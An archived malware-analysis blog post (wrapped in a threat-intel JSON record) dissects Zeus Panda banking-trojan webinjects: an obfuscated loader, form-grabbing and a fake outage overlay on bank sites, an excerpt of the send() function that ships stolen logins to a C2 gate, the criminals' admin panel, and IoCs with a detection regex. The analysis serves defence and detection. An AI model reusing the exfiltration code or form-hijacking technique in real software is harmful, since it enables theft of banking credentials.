{
	"id": "095736c4-0c86-4d39-9722-54346418ce99",
	"created_at": "2026-04-06T01:29:44.37666Z",
	"updated_at": "2026-04-10T03:21:35.971416Z",
	"deleted_at": null,
	"sha1_hash": "ee620f405239eebc57649277eed486b999f3aa67",
	"title": "Zeus Panda Webinjects: a case study",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 223230,
	"plain_text": "Zeus Panda Webinjects: a case study\r\nArchived: 2026-04-06 00:27:16 UTC\r\nOur mothership G DATA runs extensive automated sample processing infrastructure as part of providing up to date\r\nprotection to their AV customers. At G DATA Advanced Analytics, we have integrated these processes within our\r\nown routines in order to maintain the fraud detection solutions we provide to our customers from the financial\r\nsector.\r\nWe have been observing an increase in Zeus Panda infections recently. When we decrypted the config files from\r\nsamples of Zeus Panda Banking Trojans that went through our processing this week, we decided to have a closer\r\nlook at the current features. The low level functionality of the Zeus Panda Banking Trojan is already known quite\r\nwell, so we focus our analysis on the webinjects. These webinjects are used to manipulate the functionality of the\r\ntarget online banking websites on the client. The one we found here was pretty interesting. As usual, the JavaScript\r\nis protected by an obfuscation layer, which substitutes string and function names using the following mapping\r\narray:\r\nvar _0x2f90 = [\"\", \"\\x64\\x6F\\x6E\\x65\", \"\\x63\\x61\\x6C\\x6C\\x65\\x65\", \"\\x73\\x63\\x72\\x69\\x70\\x74\", \"\\x63\\x72\\x65\\x61\r\n// ... further script code ...\r\nAfter deobfuscating this script, the result looks like:\r\nvar vars = [\"\", \"done\", \"callee\", \"script\", \"createElement\", \"type\", \"text/javascript\", \"src\", \"?time=\", \"append\r\n// ... further script code ...\r\nTaking a closer look at the now revealed functionality, we can identify the following features:\r\nBrowser version check, to add a browser specific event listener (e.g. for Firefox the DOMContentLoaded\r\nevent is used)\r\nSetting some trojan configuration variables like:\r\nbotid: Unique Identifier of the compromised system\r\ninject: URL to load the next attack stage\r\nLoad and execute further target (bank) specific JavaScript code, as defined in the inject variable.\r\nAs it turns out, the first webinject stage is a generic loader to get target specific attack code from a web server. In\r\nthis context ‘target’ refers to banks and payment service providers. This is not a remarkable fact in itself, as current\r\nwebinjects tend to load the final attack in multiple stages. But maybe this server also includes further Zeus Panda\r\ncomponents. So let’s take a closer look.\r\nTarget specific code and examples\r\nAfter downloading the target specific second stage of the webinject, we were surprised about the actual size of the\r\nfile: 91.8 KB. A brief analysis showed a lot of functionality. Some of the functions are generic and work on every\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 1 of 8\n\nwebsite. Others include target specific code, like specific HTML attributes. For example, the webinject uses unique\r\nid attributes to identify concrete websites of the online banking target. We are still investigating a lot of the included\r\nfunctionality at the time of writing. For now, we want to give a brief overview of selected parts of the basic\r\nfunctionality.\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 2 of 8\n\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 3 of 8\n\nFigure 1: Flowchart of init function\r\nAfter loading the target specific JavaScript, the init function shown in figure [Figure 1] is called. First, the function\r\nchecks if it is on top of the page. If not, the showpage() function is called, searches for the identifier _brows.cap and\r\ndeletes this DOM element if present. Otherwise the next check function are() is called, which searches for the\r\nstrings “login”, “password” and “button”. If none of these strings can be found, the get() function is called to\r\ncheck if the user is currently logged in. This is done by checking for the presence of the logout element, which is\r\nonly available when the user is currently logged in. If not, the already described showpage() function is triggered to\r\nclean up. Otherwise the status() function is used to set the status variable to the string “CP”. Afterwards the\r\ncollected data is exfiltrated via the send() function, described in detail in the next section.\r\nIf all target strings were found (“login”, “password” and “button”), the next functions preventDefault() and\r\nstopPropagation() are called (left branch of figure 1). This overwrites the the default form action to collect the data\r\nthe user enters into the form. Additionally the key event of the enter button (key code 13) is intercepted so that the\r\nform data is captured regardless of the submit method.\r\nAs this implementation is not working in Internet Explorer, the script checks for the presence of the cancelBubble\r\nevent. If present, a specific Internet Explorer implementation is called, which provides the same functionality as the\r\nstopPropagation() function. As in the initial webinject, different code is available to support all major browsers.\r\nAfter collecting form input data, the function status() is called to set the branch variable. The branch variable\r\ndefines which action is triggered. In our callflow example (left branch), the value is set to the string “SL” which\r\ntriggers a visible overlay of the website, indicating to the user that there is a temporary problem with the site. The\r\nfollowing examples show two different target variations:\r\nFigure 2: German example for a temporarily unavailable\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 4 of 8\n\nFigure 3: English example of a different target\r\nAfterwards the send() function is triggered to exfiltrate the collected data.\r\nExfiltration\r\nThe next interesting part in the code is the exfiltration function used during this attack stage. The collected\r\ninformation is handed to a function called send():\r\nsend: function () {\r\n  var l = link.gate + '?botid=' + _tables.encode(_brows.botid) + '\u0026hash=' + new Date() + '\u0026bname=' + _tables.ge\r\n  for (var i = 0; i \u003c arguments.length; i++) {\r\n    for (key in arguments[i]) {\r\n      l += '\u0026' + key + '=' + _tables.encode(arguments[i][key]);\r\n    }\r\n  }\r\n// ... further code ...\r\nThis function simply sets all collected data as GET Parameters and sends a HTTPS request to a PHP backend,\r\ndefined in the variable link.gate. Depending on the target website, we could observe different parameters and small\r\ndifferences in the construction of the parameter values. The following list gives an overview of identified\r\nparameters. This list is not complete and some of the parameters are optional. All parameters are send in plain text\r\nto the C2 backend.\r\nParamter name Value\r\nbotid Unique client identifier\r\nbname Target identifier\r\nhash Timestamp (new Date())\r\nlogin1 user name\r\nlogin2 user password\r\ntype module type (grabber, ats, intercepts)\r\nparam1 start\r\ndomain document.location\r\nbranch Status to trigger different functionalities\r\nFigure 1: Identified paramters\r\nWe intend to provide further details in a follow-up post. However, now we need to talk about the backend. Behold\r\nthe Zeus Panda administration panel:## Admin Panel Details\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 5 of 8\n\nThe webinject code naturally led us to C2 servers and a closer analysis led us to an admin panel on one of the\r\nservers we investigated.\r\nFigure 4: Admin-Panel\r\nFigure 4 displays the start screen of the Admin-Panel. Every infected machine is displayed in one row. For every\r\nentry the following information is listed:\r\n1. BotId: Unique identifier for the compromised system\r\n2. The active module type\r\n3. Job status of the entry\r\n4. Login credentials (username/password)\r\n5. Account status\r\n6. Victim IP address\r\n7. Timestamp of infection\r\n8. Browser version\r\n9. Target URL (bank)\r\nThe top navigation bar lists some available filters like format settings, drop zones and further configuration settings.\r\nThe panel is used by the attacker to see new victim machines and available actions. By clicking on the entries, the\r\nattacker can view detailed information about the compromised user. For example, details like the account balance of\r\nthe victim, the amount available for transfer and even the transaction limit can be displayed. Furthermore the\r\nattacker can attach notes to the specific victim, to keep track of his fraudulent actions.\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 6 of 8\n\nFigure 5: Admin-Panel detail view\r\nConclusion\r\nBanking Trojans are still one of the most valuable sources of income for criminals online. Given the fact that this\r\nkind of malware has been developed and optimized for many years, it’s not surprising that we can observe rather a\r\nhigh code quality. With the Admin-Panel, the attacker has a way to manage the compromised machines without the\r\nneed to know  technical infection details, making this kind of revenue stream accessible also to the technically\r\nrather illiterate.\r\nIn the follow-up blog post, we will take a closer look into target specific webinject scripts.\r\nIndicators of compromise\r\nScript-Stage\r\nIoC Functionality\r\n1st stage\r\nSHA256:\r\nd8444c2c23e7469a518b303763edfe5fd38f9ffd11d42bfdba2663b9caf3de06\r\nLoader\r\n1st stage\r\ninitial\r\nwebinject\r\n_brows.botid\r\n_brows.inject\r\nLoader\r\n2nd stage\r\nSHA256:\r\na99e2d6ec2a1c5b5e59c544302aa61266bb0b7d0d76f4ebed17a3906f94c2794\r\nExfiltration\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 7 of 8\n\nScript-Stage\r\nIoC Functionality\r\n2nd stage\r\ntarget\r\nspecific\r\n\\.php\\?(\u0026?\r\n(botid|hash|bname|login1|login2|type|param1|domain|branch)=[^\u0026]*)\r\n{4,9}$\r\nExfiltration\r\nFigure 2: IoC-Table\r\nSource: https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nhttps://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/"
	],
	"report_names": [
		"zeus-panda-webinjects-a-case-study"
	],
	"threat_actors": [],
	"ts_created_at": 1775438984,
	"ts_updated_at": 1775791295,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ee620f405239eebc57649277eed486b999f3aa67.pdf",
		"text": "https://archive.orkl.eu/ee620f405239eebc57649277eed486b999f3aa67.txt",
		"img": "https://archive.orkl.eu/ee620f405239eebc57649277eed486b999f3aa67.jpg"
	}
}